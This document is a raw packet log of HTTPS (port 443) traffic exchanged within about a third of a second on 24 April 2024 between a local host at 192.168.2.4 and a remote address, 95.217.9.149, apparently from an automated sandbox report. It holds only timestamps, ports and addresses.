Apr 24, 2024 10:27:28.931050062 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.931103945 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.931111097 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.931628942 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.934894085 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.934911966 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.934987068 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.934994936 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.935059071 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.941101074 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.941117048 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.941184998 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.941191912 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.941622019 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.947554111 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.947571039 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.947628021 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.947635889 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.947846889 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.953300953 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.953322887 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.953402042 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.953408957 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.953471899 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.959482908 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.959496975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.959536076 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.959542990 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.959578037 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.959598064 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.965295076 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.965312004 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.965382099 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.965389013 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.965456963 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.970515966 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.970536947 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.970632076 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.970632076 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.970638990 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.970688105 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.975857019 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.975877047 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.975941896 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.975950003 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.977852106 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.981668949 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.981686115 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.981726885 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.981734991 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.981760025 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.981777906 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.987231016 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.987255096 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.987298965 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.987309933 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.987319946 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.987353086 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.992261887 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.992279053 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.992331028 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.992338896 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.993961096 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.998008966 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.998024940 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.998075008 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.998081923 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.998092890 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.998121977 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.003278017 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.003294945 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.003339052 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.003346920 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.003374100 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.003390074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.008234024 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.008250952 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.008307934 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.008316040 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.009860039 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.014106035 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.014132977 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.014169931 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.014178038 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.014202118 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.014214993 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.018467903 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.018486023 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.018521070 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.018532038 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.018553019 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.018575907 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.023560047 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.023576021 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.023633003 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.023644924 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.025862932 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.028254032 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.028270006 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.028326035 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.028338909 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.030251980 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.033566952 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.033588886 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.033637047 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.033644915 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.033879042 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.038253069 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.038266897 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.038336039 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.038342953 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.043015957 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.044636011 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.044652939 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.044706106 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.044712067 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.047013044 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.049180984 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.049199104 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.049240112 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.049247980 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.049269915 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.049283028 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.056644917 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.056663036 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.056729078 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.056736946 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.057866096 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.059818983 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.059834003 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.059900045 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.059907913 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.060650110 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.063322067 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.063338041 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.063390017 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.063399076 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.063489914 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.067178965 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.067193985 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.067238092 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.067245960 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.067260981 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.067327023 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.073704004 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.073719025 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.073775053 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.073782921 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.073805094 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.073827982 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.075840950 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.075858116 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.075902939 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.075923920 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.075952053 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.075970888 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.086920977 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.086935997 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.086988926 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.086996078 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.087013960 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.087029934 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.088445902 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.088460922 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.088537931 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.088546038 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.088624954 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.090981007 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.090996027 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.091059923 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.091068983 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.091371059 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.094187975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.094203949 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.094254017 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.094260931 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.094290018 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.094302893 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.099071980 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.099090099 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.099486113 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.099493980 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.102153063 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.102503061 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.102525949 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.102576971 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.102583885 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.105897903 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.106676102 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.106692076 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.106764078 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.106771946 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.107094049 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.111372948 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.111388922 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.111439943 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.111447096 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.111475945 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.111494064 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.114612103 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.114628077 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.114680052 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.114687920 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.114717007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.114733934 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.119152069 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.119175911 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.119215012 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.119223118 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.119255066 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.119255066 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.123003960 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.123019934 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.123086929 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.123094082 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.123850107 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.126842976 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.126858950 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.126910925 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.126919031 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.126970053 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.130868912 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.130889893 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.130947113 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.130953074 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.131009102 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.131009102 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.134876013 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.134891987 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.134946108 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.134953022 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.134994984 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.135019064 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.138648033 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.138663054 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.138715029 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.138720989 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.138760090 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.138772011 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.142107010 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.142122030 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.142174006 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.142180920 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.142221928 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.142241001 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.147043943 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.147058964 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.147114992 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.147125006 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.147162914 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.147181988 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.150122881 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.150139093 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.150185108 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.150196075 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.150212049 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.150311947 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.153712988 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.153729916 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.153770924 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.153779984 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.153829098 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.153829098 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.157144070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.157164097 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.157231092 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.157239914 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.157418966 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.161369085 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.161391020 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.161432028 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.161438942 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.161468983 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.161495924 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.167376995 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.167395115 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.167443991 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.167450905 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.167485952 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.167506933 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.170833111 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.170850039 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.170893908 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.170902014 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.170953035 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.175769091 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.175784111 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.175829887 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.175837040 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.175893068 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.178682089 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.178700924 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.178750038 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.178757906 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.178783894 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.178802013 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.184084892 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.184123993 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.184151888 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.184158087 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.184178114 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.184201002 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.187654972 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.187671900 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.187736034 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.187741995 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.187784910 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.193167925 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.193182945 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.193315029 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.193315029 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.193321943 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.193363905 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.199448109 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.199464083 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.199518919 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.199525118 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.199723959 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.203078985 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.203097105 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.203144073 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.203150988 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.203165054 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.203190088 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.205261946 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.205286026 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.205319881 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.205327034 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.205354929 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.205369949 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:29.212635040 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.212651968 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:29.212699890 CEST	49749	443	192.168.2.4	95.217.9.149
